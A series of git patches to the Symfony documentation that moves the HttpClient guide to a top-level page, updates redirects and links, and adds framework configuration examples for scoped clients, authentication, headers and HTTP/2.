+++ b/_build/redirection_map
@@ -482,7 +482,7 @@
 /doctrine/pdo_session_storage /session/database
 /doctrine/mongodb_session_storage /session/database
 /components/dotenv https://github.com/symfony/dotenv
-/components/mercure https://github.com/symfony/mercure
+/components/mercure /mercure
 /components/polyfill_apcu https://github.com/symfony/polyfill-apcu
 /components/polyfill_ctype https://github.com/symfony/polyfill-ctype
 /components/polyfill_iconv https://github.com/symfony/polyfill-iconv
@@ -504,3 +504,4 @@
 /components/error_handler https://github.com/symfony/error-handler
 /components/class_loader https://github.com/symfony/class-loader
 /frontend/encore/versus-assetic /frontend
+/components/http_client /http_client
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 24a3c6e700a..76c0e33d5e1 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -13,7 +13,7 @@ The BrowserKit Component
     In Symfony versions prior to 4.3, the BrowserKit component could only make
     internal requests to your application. Starting from Symfony 4.3, this
     component can also :ref:`make HTTP requests to any public site <component-browserkit-external-requests>`
-    when using it in combination with the :doc:`HttpClient component </components/http_client>`.
+    when using it in combination with the :doc:`HttpClient component </http_client>`.
 
 Installation
 ------------
@@ -295,7 +295,7 @@ So far, all the examples in this article have assumed that you are making
 internal requests to your own application. However, you can run the exact same
 examples when making HTTP requests to external web sites and applications.
 
-First, install and configure the :doc:`HttpClient component </components/http_client>`.
+First, install and configure the :doc:`HttpClient component </http_client>`.
 Then, use the :class:`Symfony\\Component\\BrowserKit\\HttpBrowser` to create
 the client that will make the external HTTP requests::
 
diff --git a/components/http_client.rst b/http_client.rst
similarity index 63%
rename from components/http_client.rst
rename to http_client.rst
index 339b1f3bf6f..d0e1b319765 100644
--- a/components/http_client.rst
+++ b/http_client.rst
@@ -2,12 +2,8 @@
    single: HttpClient
    single: Components; HttpClient
 
-The HttpClient Component
-========================
-
-    The HttpClient component is a low-level HTTP client with support for both
-    PHP stream wrappers and cURL. It provides utilities to consume APIs and
-    supports synchronous and asynchronous operations.
+HTTP Client
+===========
 
 .. versionadded:: 4.3
 
@@ -16,90 +12,375 @@ The HttpClient Component
 Installation
 ------------
 
+The HttpClient component is a low-level HTTP client with support for both
+PHP stream wrappers and cURL. It provides utilities to consume APIs and
+supports synchronous and asynchronous operations. You can install it with:
+
 .. code-block:: terminal
 
     $ composer require symfony/http-client
 
-.. include:: /components/require_autoload.rst.inc
-
 Basic Usage
 -----------
 
 Use the :class:`Symfony\\Component\\HttpClient\\HttpClient` class to create the
-low-level HTTP client that makes requests, like the following ``GET`` request::
+low-level HTTP client that makes requests, like the following ``GET`` request:
 
-    use Symfony\Component\HttpClient\HttpClient;
+.. configuration-block::
 
-    $client = HttpClient::create();
-    $response = $client->request('GET', 'https://api.github.com/repos/symfony/symfony-docs');
+    .. code-block:: php-symfony
 
-    $statusCode = $response->getStatusCode();
-    // $statusCode = 200
-    $contentType = $response->getHeaders()['content-type'][0];
-    // $contentType = 'application/json'
-    $content = $response->getContent();
-    // $content = '{"id":521583, "name":"symfony-docs", ...}'
-    $content = $response->toArray();
-    // $content = ['id' => 521583, 'name' => 'symfony-docs', ...]
+        use Symfony\Component\HttpClient\HttpClientInterface;
 
-Performance
------------
+        class SymfonyDocs
+        {
+            private $client;
 
-The component is built for maximum HTTP performance. By design, it is compatible
-with HTTP/2 and with doing concurrent asynchronous streamed and multiplexed
-requests/responses. Even when doing regular synchronous calls, this design
-allows keeping connections to remote hosts open between requests, improving
-performance by saving repetitive DNS resolution, SSL negotiation, etc.
-To leverage all these design benefits, the cURL extension is needed.
+            public function __construct(HttpClientInterface $client)
+            {
+                $this->client = $client;
+            }
 
-Enabling cURL Support
-~~~~~~~~~~~~~~~~~~~~~
+            public function fetchGitHubInformation(): array
+            {
+                $response = $this->client->request(
+                    'GET',
+                    'https://api.github.com/repos/symfony/symfony-docs'
+                );
+
+                $statusCode = $response->getStatusCode();
+                // $statusCode = 200
+                $contentType = $response->getHeaders()['content-type'][0];
+                // $contentType = 'application/json'
+                $content = $response->getContent();
+                // $content = '{"id":521583, "name":"symfony-docs", ...}'
+                $content = $response->toArray();
+                // $content = ['id' => 521583, 'name' => 'symfony-docs', ...]
+
+                return $content;
+            }
+        }
 
-This component supports both the native PHP streams and cURL to make the HTTP
-requests. Although both are interchangeable and provide the same features,
-including concurrent requests, HTTP/2 is only supported when using cURL.
+    .. code-block:: php-standalone
 
-``HttpClient::create()`` selects the cURL transport if the `cURL PHP extension`_
-is enabled and falls back to PHP streams otherwise. If you prefer to select
-the transport explicitly, use the following classes to create the client::
+        use Symfony\Component\HttpClient\HttpClient;
 
-    use Symfony\Component\HttpClient\CurlHttpClient;
-    use Symfony\Component\HttpClient\NativeHttpClient;
+        $client = HttpClient::create();
+        $response = $client->request('GET', 'https://api.github.com/repos/symfony/symfony-docs');
 
-    // uses native PHP streams
-    $client = new NativeHttpClient();
+        $statusCode = $response->getStatusCode();
+        // $statusCode = 200
+        $contentType = $response->getHeaders()['content-type'][0];
+        // $contentType = 'application/json'
+        $content = $response->getContent();
+        // $content = '{"id":521583, "name":"symfony-docs", ...}'
+        $content = $response->toArray();
+        // $content = ['id' => 521583, 'name' => 'symfony-docs', ...]
 
-    // uses the cURL PHP extension
-    $client = new CurlHttpClient();
+In the Symfony framework, you have to enable the HTTP client integration in
+order for the ``HttpClientInterface`` to be :doc:`autowired </service_container/autowiring>`
+automatically:
 
-When using this component in a full-stack Symfony application, this behavior is
-not configurable and cURL will be used automatically if the cURL PHP extension
-is installed and enabled. Otherwise, the native PHP streams will be used.
+.. configuration-block::
 
-HTTP/2 Support
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            http_client: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config http-client="true"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => true,
+        ]);
+
+Configuration
+-------------
+
+The HTTP client contains many options you might need to take full control of
+the way the request is performed, including DNS pre-resolution, SSL parameters,
+public key pinning, etc. They can be defined globally in the configuration (to
+apply it to all requests) and to each request (which overrides any global
+authentication)
+
+You can configure the global options using the ``default_options`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                default_options:
+                    max_redirects: 7
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:default-options max-redirects="7"/>
+                </framework-http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'default_options' => [
+                    'max_redirects' => 7,
+                ],
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::create([
+            'default_options' => [
+                'max_redirects' => 7,
+            ],
+        ]);
+
+Some options are described in this guide:
+
+* `Authentication`_
+* `Query String Parameters`_
+* `Headers`_
+* `Redirects`_
+* `HTTP Proxies`_
+
+Check out the full :ref:`http_client config reference <reference-http-client>`
+to learn about all the options.
+
+The HTTP client also has one configuration option called
+``max_host_connections``, this option can not be overridden by a request:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                max_host_connections: 10
+                # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client max-host-connections="10">
+                    <!-- ... -->
+                </framework-http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'max_host_connections' => 10,
+                // ...
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::create([
+            'max_host_connections' => 10,
+            // ...
+        ]);
+
+Scoping Client
 ~~~~~~~~~~~~~~
 
-When requesting an ``https`` URL, HTTP/2 is enabled by default if libcurl >= 7.36
-is used. To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via
-the ``http_version`` option::
+It's common that some of the HTTP client options depend on the URL of the
+request (e.g. you must set some headers when making requests to GitHub API but
+not for other hosts). If that's your case, the component provides scoped
+clients (using :class:`Symfony\\Component\\HttpClient\\ScopingHttpClient`) to
+autoconfigure the HTTP client based on the requested URL:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                scoped_clients:
+                    # only requests matching scope will use these options
+                    github:
+                        scope: 'https://api\.github\.com'
+                        headers:
+                            Accept: 'application/vnd.github.v3+json'
+                            Authorization: 'token %env(GITHUB_API_TOKEN)%'
+                        # ...
+
+                    # using base_uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
+                    # will default to these options
+                    github:
+                        base_uri: 'https://api.github.com'
+                        headers:
+                            Accept: 'application/vnd.github.v3+json'
+                            Authorization: 'token %env(GITHUB_API_TOKEN)%'
+                        # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <!-- only requests matching scope will use these options -->
+                    <framework:scoped-client name="github"
+                        scope="https://api\.github\.com"
+                    >
+                        <framework:header name="Accept">application/vnd.github.v3+json</framework:header>
+                        <framework:header name="Authorization">token %env(GITHUB_API_TOKEN)%</framework:header>
+                    </framework:scoped-client>
+
+                    <!-- using base-uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
+                         will default to these options -->
+                    <framework:scoped-client name="github"
+                        base-uri="https://api.github.com"
+                    >
+                        <framework:header name="Accept">application/vnd.github.v3+json</framework:header>
+                        <framework:header name="Authorization">token %env(GITHUB_API_TOKEN)%</framework:header>
+                    </framework:scoped-client>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'scoped_clients' => [
+                    // only requests matching scope will use these options
+                    'github' => [
+                        'scope' => 'https://api\.github\.com',
+                        'headers' => [
+                            'Accept' => 'application/vnd.github.v3+json',
+                            'Authorization' => 'token %env(GITHUB_API_TOKEN)%',
+                        ],
+                        // ...
+                    ],
+
+                    // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
+                    // will default to these options
+                    'github' => [
+                        'base_uri' => 'https://api.github.com',
+                        'headers' => [
+                            'Accept' => 'application/vnd.github.v3+json',
+                            'Authorization' => 'token %env(GITHUB_API_TOKEN)%',
+                        ],
+                        // ...
+                    ],
+                ],
+            ],
+        ]);
 
-    $client = HttpClient::create(['http_version' => '2.0']);
+    .. code-block:: php-standalone
 
-Support for HTTP/2 PUSH works out of the box when libcurl >= 7.61 is used with
-PHP >= 7.2.17 / 7.3.4: pushed responses are put into a temporary cache and are
-used when a subsequent request is triggered for the corresponding URLs.
+        use Symfony\Component\HttpClient\HttpClient;
+        use Symfony\Component\HttpClient\ScopingHttpClient;
+
+        $client = HttpClient::create();
+        $client = new ScopingHttpClient($client, [
+            // the options defined as values apply only to the URLs matching
+            // the regular expressions defined as keys
+            'https://api\.github\.com/' => [
+                'headers' => [
+                    'Accept' => 'application/vnd.github.v3+json',
+                    'Authorization' => 'token '.$githubToken,
+                ],
+            ],
+            // ...
+        ]);
+
+        // relative URLs will use the 2nd argument as base URI and use the options of the 3rd argument
+        $client = ScopingHttpClient::forBaseUri($client, 'https://api.github.com/', [
+            'headers' => [
+                'Accept' => 'application/vnd.github.v3+json',
+                'Authorization' => 'token '.$githubToken,
+            ],
+        ]);
+
+You can define several scopes, so that each set of options is added only if a
+requested URL matches one of the regular expressions set by the ``scope`` option.
+
+If you use scoped clients in the Symfony framework, you must use any of the
+methods defined by Symfony to :ref:`choose a specific service <services-wire-specific-service>`.
+Each client has a unique service named after its configuration.
+
+Each scoped client also defines a corresponding named autowiring alias.
+If you use for example
+``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient``
+as the type and name of an argument, autowiring will inject the ``my_api.client``
+service into your autowired classes.
 
 Making Requests
 ---------------
 
-The client created with the ``HttpClient`` class provides a single ``request()``
-method to perform all kinds of HTTP requests::
+The HTTP client provides a single ``request()`` method to perform all kinds of
+HTTP requests::
 
     $response = $client->request('GET', 'https://...');
     $response = $client->request('POST', 'https://...');
     $response = $client->request('PUT', 'https://...');
     // ...
 
+    // you can add request options (or override global ones) using the 3rd argument
+    $response = $client->request('GET', 'https://...', [
+        'headers' => [
+            'Accept' => 'application/json',
+        ],
+    ]);
+
 Responses are always asynchronous, so that the call to the method returns
 immediately instead of waiting to receive the response::
 
@@ -125,24 +406,96 @@ Authentication
 ~~~~~~~~~~~~~~
 
 The HTTP client supports different authentication mechanisms. They can be
-defined globally when creating the client (to apply it to all requests) and to
-each request (which overrides any global authentication)::
+defined globally in the configuration (to apply it to all requests) and to
+each request (which overrides any global authentication):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                scoped_clients:
+                    example_api:
+                        base_uri: 'https://example.com/'
+
+                        # HTTP Basic authentication
+                        auth_basic: 'the-username:the-password'
+
+                        # HTTP Bearer authentication (also called token authentication)
+                        auth_bearer: the-bearer-token
+
+                        # Microsoft NTLM authentication
+                        auth_ntlm: 'the-username:the-password'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <!-- Available authentication options:
+                         auth-basic: HTTP Basic authentication
+                         auth-bearer: HTTP Bearer authentication (also called token authentication)
+                         auth-ntlm: Microsoft NTLM authentication -->
+                    <framework:scoped-client name="example_api"
+                        base-uri="https://example.com/"
+                        auth-basic="the-username:the-password"
+                        auth-bearer="the-bearer-token"
+                        auth-ntlm="the-username:the-password"
+                    />
+                </framework-http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'scoped_clients' => [
+                    'example_api' => [
+                        'base_uri' => 'https://example.com/',
+
+                        // HTTP Basic authentication
+                        'auth_basic' => 'the-username:the-password',
+
+                        // HTTP Bearer authentication (also called token authentication)
+                        'auth_bearer' => 'the-bearer-token',
+
+                        // Microsoft NTLM authentication
+                        'auth_ntlm' => 'the-username:the-password',
+                    ],
+                ],
+            ],
+        ]);
 
-    // Use the same authentication for all requests to https://example.com/
-    $client = HttpClient::createForBaseUri('https://example.com/', [
-        // HTTP Basic authentication (there are multiple ways of configuring it)
-        'auth_basic' => ['the-username'],
-        'auth_basic' => ['the-username', 'the-password'],
-        'auth_basic' => 'the-username:the-password',
+    .. code-block:: php-standalone
 
-        // HTTP Bearer authentication (also called token authentication)
-        'auth_bearer' => 'the-bearer-token',
+        $client = HttpClient::createForBaseUri('https://example.com/', [
+            // HTTP Basic authentication (there are multiple ways of configuring it)
+            'auth_basic' => ['the-username'],
+            'auth_basic' => ['the-username', 'the-password'],
+            'auth_basic' => 'the-username:the-password',
 
-        // Microsoft NTLM authentication (there are multiple ways of configuring it)
-        'auth_ntlm' => ['the-username'],
-        'auth_ntlm' => ['the-username', 'the-password'],
-        'auth_ntlm' => 'the-username:the-password',
-    ]);
+            // HTTP Bearer authentication (also called token authentication)
+            'auth_bearer' => 'the-bearer-token',
+
+            // Microsoft NTLM authentication (there are multiple ways of configuring it)
+            'auth_ntlm' => ['the-username'],
+            'auth_ntlm' => ['the-username', 'the-password'],
+            'auth_ntlm' => 'the-username:the-password',
+        ]);
+
+.. code-block:: php
 
     $response = $client->request('GET', 'https://...', [
         // use a different HTTP Basic authentication only for this request
@@ -180,12 +533,57 @@ Headers
 ~~~~~~~
 
 Use the ``headers`` option to define both the default headers added to all
-requests and the specific headers for each request::
+requests and the specific headers for each request:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                headers:
+                    'User-Agent': 'My Fancy App'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:header name="User-Agent">My Fancy App</framework:header>
+                </framework-http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'headers' => [
+                    'User-Agent' => 'My Fancy App',
+                ],
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        // this header is added to all requests made by this client
+        $client = HttpClient::create([
+            'headers' => [
+                'User-Agent' => 'My Fancy App',
+            ],
+        ]);
 
-    // this header is added to all requests made by this client
-    $client = HttpClient::create(['headers' => [
-        'User-Agent' => 'My Fancy App',
-    ]]);
+.. code-block:: php
 
     // this header is only included in this request and overrides the value
     // of the same header if defined globally by the HTTP client
@@ -318,12 +716,88 @@ called when new data is uploaded or downloaded and at least once per second::
 Any exceptions thrown from the callback will be wrapped in an instance of
 ``TransportExceptionInterface`` and will abort the request.
 
-Advanced Options
-~~~~~~~~~~~~~~~~
+Performance
+-----------
+
+The component is built for maximum HTTP performance. By design, it is compatible
+with HTTP/2 and with doing concurrent asynchronous streamed and multiplexed
+requests/responses. Even when doing regular synchronous calls, this design
+allows keeping connections to remote hosts open between requests, improving
+performance by saving repetitive DNS resolution, SSL negotiation, etc.
+To leverage all these design benefits, the cURL extension is needed.
+
+Enabling cURL Support
+~~~~~~~~~~~~~~~~~~~~~
+
+This component supports both the native PHP streams and cURL to make the HTTP
+requests. Although both are interchangeable and provide the same features,
+including concurrent requests, HTTP/2 is only supported when using cURL.
+
+``HttpClient::create()`` selects the cURL transport if the `cURL PHP extension`_
+is enabled and falls back to PHP streams otherwise. If you prefer to select
+the transport explicitly, use the following classes to create the client::
+
+    use Symfony\Component\HttpClient\CurlHttpClient;
+    use Symfony\Component\HttpClient\NativeHttpClient;
+
+    // uses native PHP streams
+    $client = new NativeHttpClient();
+
+    // uses the cURL PHP extension
+    $client = new CurlHttpClient();
+
+When using this component in a full-stack Symfony application, this behavior is
+not configurable and cURL will be used automatically if the cURL PHP extension
+is installed and enabled. Otherwise, the native PHP streams will be used.
+
+HTTP/2 Support
+~~~~~~~~~~~~~~
+
+When requesting an ``https`` URL, HTTP/2 is enabled by default if libcurl >= 7.36
+is used. To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via
+the ``http_version`` option:
 
-The :class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface` defines all the
-options you might need to take full control of the way the request is performed,
-including DNS pre-resolution, SSL parameters, public key pinning, etc.
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                http_version: '2.0'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client http-version="2.0"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'http_version' => '2.0',
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::create(['http_version' => '2.0']);
+
+Support for HTTP/2 PUSH works out of the box when libcurl >= 7.61 is used with
+PHP >= 7.2.17 / 7.3.4: pushed responses are put into a temporary cache and are
+used when a subsequent request is triggered for the corresponding URLs.
 
 Processing Responses
 --------------------
@@ -496,12 +970,7 @@ Thanks to responses being lazy, requests are always managed concurrently.
 On a fast enough network, the following code makes 379 requests in less than
 half a second when cURL is used::
 
-    use Symfony\Component\HttpClient\CurlHttpClient;
-
-    $client = new CurlHttpClient();
-
     $responses = [];
-
     for ($i = 0; $i < 379; ++$i) {
         $uri = "https://http2.akamai.com/demo/tile-$i.png";
         $responses[] = $client->request('GET', $uri);
@@ -605,6 +1074,9 @@ To catch errors, you need to wrap calls to ``$client->request()`` but also calls
 to any methods of the returned responses. This is because responses are lazy, so
 that network errors can happen when calling e.g. ``getStatusCode()`` too::
 
+    use Symfony\Contracts\HttpClient\Exception\TransportExceptionInterface;
+
+    // ...
     try {
         // both lines can potentially throw
         $response = $client->request(...);
@@ -663,64 +1135,6 @@ installed in your application::
 
 ``CachingHttpClient`` accepts a third argument to set the options of the ``HttpCache``.
 
-Scoping Client
---------------
-
-It's common that some of the HTTP client options depend on the URL of the
-request (e.g. you must set some headers when making requests to GitHub API but
-not for other hosts). If that's your case, this component provides a special
-HTTP client via the :class:`Symfony\\Component\\HttpClient\\ScopingHttpClient`
-class to autoconfigure the HTTP client based on the requested URL::
-
-    use Symfony\Component\HttpClient\HttpClient;
-    use Symfony\Component\HttpClient\ScopingHttpClient;
-
-    $client = HttpClient::create();
-    $client = new ScopingHttpClient($client, [
-        // the options defined as values apply only to the URLs matching
-        // the regular expressions defined as keys
-        'https://api\.github\.com/' => [
-            'headers' => [
-                'Accept' => 'application/vnd.github.v3+json',
-                'Authorization' => 'token '.$githubToken,
-            ],
-        ],
-        // ...
-    ]);
-
-You can define several scopes, so that each set of options is added only if a
-requested URL matches one of the regular expressions provided as keys.
-
-If the request URL is relative (because you use the ``base_uri`` option), the
-scoping HTTP client can't make a match. That's why you can define a third
-optional argument in its constructor which will be considered the default
-regular expression applied to relative URLs::
-
-    // ...
-
-    $client = new ScopingHttpClient($client,
-        [
-            'https://api\.github\.com/' => [
-                'base_uri' => 'https://api.github.com/',
-                // ...
-            ],
-        ],
-        // this is the index in the previous array that defines
-        // the base URI that should be used to resolve relative URLs
-        'https://api\.github\.com/'
-    );
-
-The above example can be reduced to a simpler call::
-
-    // ...
-
-    $client = ScopingHttpClient::forBaseUri($client, 'https://api.github.com/', [
-        // ...
-    ]);
-
-This way, the provided options will be used only if the requested URL is relative
-or if it matches the ``https://api.github.com/`` base URI.
-
 Interoperability
 ----------------
 
@@ -925,74 +1339,6 @@ This allows using them where native PHP streams are needed::
     // later on if you need to, you can access the response from the stream
     $response = stream_get_meta_data($streamResource)['wrapper_data']->getResponse();
 
-Symfony Framework Integration
------------------------------
-
-When using this component in a full-stack Symfony application, you can configure
-multiple clients with different configurations and inject them into your services.
-
-Configuration
-~~~~~~~~~~~~~
-
-Use the ``framework.http_client`` key to configure the default HTTP client used
-in the application. Check out the full
-:ref:`http_client config reference <reference-http-client>` to learn about all
-the available config options:
-
-.. code-block:: yaml
-
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            max_host_connections: 10
-            default_options:
-                max_redirects: 7
-
-If you want to define multiple HTTP clients, use this other expanded configuration:
-
-.. code-block:: yaml
-
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            scoped_clients:
-                crawler.client:
-                    headers: { 'X-Powered-By': 'ACME App' }
-                    http_version: '1.0'
-                some_api.client:
-                    max_redirects: 5
-
-Injecting the HTTP Client into Services
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If your application only needs one HTTP client, you can inject the default one
-into any services by type-hinting a constructor argument with the
-:class:`Symfony\\Contracts\\HttpClient\\HttpClientInterface`::
-
-    use Symfony\Contracts\HttpClient\HttpClientInterface;
-
-    class SomeService
-    {
-        private $client;
-
-        public function __construct(HttpClientInterface $client)
-        {
-            $this->client = $client;
-        }
-    }
-
-If you have several clients, you must use any of the methods defined by Symfony
-to :ref:`choose a specific service <services-wire-specific-service>`. Each client
-has a unique service named after its configuration.
-
-Each scoped client also defines a corresponding named autowiring alias.
-If you use for example
-``Symfony\Contracts\HttpClient\HttpClientInterface $myApiClient``
-as the type and name of an argument, autowiring will inject the ``my_api.client``
-service into your autowired classes.
-
 Testing HTTP Clients and Responses
 ----------------------------------
 
diff --git a/index.rst b/index.rst
index ac293625cb9..07bc1a5ee6e 100644
--- a/index.rst
+++ b/index.rst
@@ -42,6 +42,7 @@ Topics
     forms
     frontend
     http_cache
+    http_client
     logging
     mailer
     mercure

From 6f24d831efeba53a7d10b2e34fee4dbf5fd85ae9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jun 2020 10:06:07 +0200
Subject: [PATCH 0936/7107] Minor fix

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index d0e1b319765..a3ff12e0a1a 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -117,7 +117,7 @@ The HTTP client contains many options you might need to take full control of
 the way the request is performed, including DNS pre-resolution, SSL parameters,
 public key pinning, etc. They can be defined globally in the configuration (to
 apply it to all requests) and to each request (which overrides any global
-authentication)
+configuration).
 
 You can configure the global options using the ``default_options`` option:
 

From 66b8ee2ceeef32cb37fea317710641339162a798 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jun 2020 10:43:02 +0200
Subject: [PATCH 0937/7107] Removed a merge leftover

---
 http_client.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 8e43d8f4e3d..ca273b873f6 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -319,7 +319,6 @@ autoconfigure the HTTP client based on the requested URL:
                 ],
             ],
         ]);
->>>>>>> 5.0:http_client.rst
 
     .. code-block:: php-standalone
 

From ac7ecfc22159139793d91fd1abe111923808b9fd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jun 2020 10:46:33 +0200
Subject: [PATCH 0938/7107] Updated a wrong reference

---
 components/asset.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/asset.rst b/components/asset.rst
index fee6acd6aa5..20b5ce20b2d 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -167,7 +167,7 @@ In those cases, use the
 
 If your JSON file is not on your local filesystem but is accessible over HTTP,
 use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy`
-with the :doc:`HttpClient component </components/http_client>`::
+with the :doc:`HttpClient component </http_client>`::
 
     use Symfony\Component\Asset\Package;
     use Symfony\Component\Asset\VersionStrategy\RemoteJsonManifestVersionStrategy;

From 105ff11c5aebe8d3c742f397d9ea7a0bb5a81938 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 30 Jun 2020 15:19:53 +0200
Subject: [PATCH 0939/7107] Test redirecting to a specific section from
 redirection_map

---
 _build/redirection_map | 1 +
 1 file changed, 1 insertion(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 28b3aad29e5..ebc50553de8 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -507,3 +507,4 @@
 /components/class_loader https://github.com/symfony/class-loader
 /frontend/encore/versus-assetic /frontend
 /components/http_client /http_client
